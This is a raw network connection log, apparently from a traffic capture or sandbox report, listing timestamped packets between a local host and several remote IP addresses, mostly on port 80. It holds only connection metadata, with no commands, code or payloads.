Nov 18, 2024 00:27:56.708719015 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.708719969 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.708734989 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.708735943 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.708749056 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.708762884 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.708781004 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.708781958 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.708794117 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.708806038 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.708818913 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.708828926 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.708831072 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.708868980 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.708878994 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.708929062 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.708940029 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.708950996 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.708961010 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.708969116 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.708976984 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.708980083 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.708991051 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.708997965 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.709002972 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.709031105 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.709039927 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.709050894 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.709060907 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.709088087 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.709101915 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.709250927 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.709264040 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.709274054 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.709300041 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.709325075 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.709347963 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.709358931 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.709369898 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.709383965 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.709399939 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.709408998 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.709412098 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.709423065 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.709438086 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.709454060 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.709765911 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.709801912 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.709808111 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.709820986 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.709841013 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.709868908 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.709917068 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.709928036 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.709938049 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.709959030 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.709966898 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.709979057 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.709986925 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.709990025 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.710001945 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.710011005 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.710015059 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.710040092 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.710053921 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.710122108 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.710133076 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.710144043 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.710156918 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.710160017 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.710174084 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.710177898 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.710191011 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.710201025 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.710201979 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.710226059 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.710227966 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.710237026 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.710247993 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.710252047 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.710259914 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.710277081 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.710303068 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.710315943 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.710326910 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.710338116 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.710350037 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.710352898 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.710369110 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.710388899 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.710835934 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.710848093 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.710870028 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.710880995 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.710882902 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.710892916 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.710903883 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.710921049 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.710931063 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.710931063 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.710932970 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.710946083 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.710953951 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.710979939 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.731334925 CET	443	50014	20.125.209.212	192.168.2.6
Nov 18, 2024 00:27:56.739068985 CET	443	50015	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.739669085 CET	50015	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.739696980 CET	443	50015	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.741801023 CET	50015	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.741811991 CET	443	50015	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.747345924 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.747370958 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.747383118 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.747395039 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.747409105 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.747410059 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.747421026 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.747431993 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.747476101 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.758464098 CET	443	50016	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.759273052 CET	50016	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.759293079 CET	443	50016	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.759680033 CET	50016	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.759685040 CET	443	50016	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.806727886 CET	50013	443	192.168.2.6	23.198.7.179
Nov 18, 2024 00:27:56.806741953 CET	50012	443	192.168.2.6	204.79.197.219
Nov 18, 2024 00:27:56.806744099 CET	50011	443	192.168.2.6	204.79.197.219
Nov 18, 2024 00:27:56.806766033 CET	443	50008	40.113.110.67	192.168.2.6
Nov 18, 2024 00:27:56.807001114 CET	50008	443	192.168.2.6	40.113.110.67
Nov 18, 2024 00:27:56.809062004 CET	50008	443	192.168.2.6	40.113.110.67
Nov 18, 2024 00:27:56.809068918 CET	443	50008	40.113.110.67	192.168.2.6
Nov 18, 2024 00:27:56.809329033 CET	443	50008	40.113.110.67	192.168.2.6
Nov 18, 2024 00:27:56.811597109 CET	50008	443	192.168.2.6	40.113.110.67
Nov 18, 2024 00:27:56.811597109 CET	50008	443	192.168.2.6	40.113.110.67
Nov 18, 2024 00:27:56.811619997 CET	443	50008	40.113.110.67	192.168.2.6
Nov 18, 2024 00:27:56.811888933 CET	50008	443	192.168.2.6	40.113.110.67
Nov 18, 2024 00:27:56.823277950 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.823328972 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.823342085 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.823345900 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.823371887 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.823386908 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.823399067 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.823412895 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.823427916 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.823436022 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.823450089 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.823461056 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.823462009 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.823477030 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.823518038 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.823529005 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.823549032 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.823585033 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.823610067 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.823622942 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.823636055 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.823647976 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.823656082 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.823663950 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.823672056 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.823677063 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.823699951 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.823714972 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.823717117 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.823764086 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.823791027 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.823802948 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.823816061 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.823827028 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.823828936 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.823841095 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.823844910 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.823875904 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.823889017 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.823896885 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.823910952 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.823924065 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.823924065 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.823951960 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.823967934 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.824026108 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.824038029 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.824060917 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.824062109 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.824073076 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.824075937 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.824085951 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.824093103 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.824110031 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.824125051 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.824269056 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.824280024 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.824300051 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.824301958 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.824314117 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.824317932 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.824337959 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.824341059 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.824350119 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.824361086 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.824381113 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.824400902 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.824541092 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.824553967 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.824567080 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.824585915 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.824609041 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.824618101 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.824630022 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.824661016 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.824661970 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.824672937 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.824685097 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.824695110 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.824697018 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.824709892 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.824722052 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.824722052 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.824769974 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.824779034 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.824811935 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.824821949 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.824831963 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.824857950 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.824879885 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.824881077 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.824898958 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.824912071 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.824923992 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.824932098 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.824937105 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.824970961 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.824991941 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.824994087 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.825004101 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.825022936 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.825023890 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.825045109 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.825059891 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.825236082 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.825248003 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.825261116 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.825371027 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.825380087 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.825387001 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.825400114 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.825408936 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.825438976 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.825572014 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.825594902 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.825606108 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.825608015 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.825644016 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.825653076 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.825664997 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.825678110 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.825690031 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.825712919 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.825721979 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.825731993 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.825745106 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.825757027 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.825767040 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.825783014 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.825817108 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.825828075 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.825829029 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.825839043 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.825855017 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.825879097 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.825928926 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.825941086 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.825953960 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.825969934 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.825984955 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.825994015 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.826004982 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.826016903 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.826029062 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.826040030 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.826040983 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.826061964 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.826066971 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.826076031 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.826103926 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.826167107 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.826179028 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.826190948 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.826203108 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.826203108 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.826219082 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.826222897 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.826236963 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.826241016 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.826248884 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.826261997 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.826268911 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.826272964 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.826286077 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.826287031 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.826317072 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.826394081 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.826430082 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.826456070 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.826467037 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.826486111 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.826499939 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.826503038 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.826512098 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.826524019 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.826546907 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.826574087 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.826728106 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.826761007 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.826772928 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.826796055 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.826818943 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.826822042 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.826831102 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.826843023 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.826864958 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.826896906 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.826917887 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.826931000 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.826960087 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.826965094 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.826975107 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.826977015 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.826988935 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.826999903 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.827018023 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.827029943 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.827048063 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.827065945 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.827068090 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.827090979 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.827109098 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.827188015 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.827199936 CET	80	49889	185.215.113.206	192.168.2.6
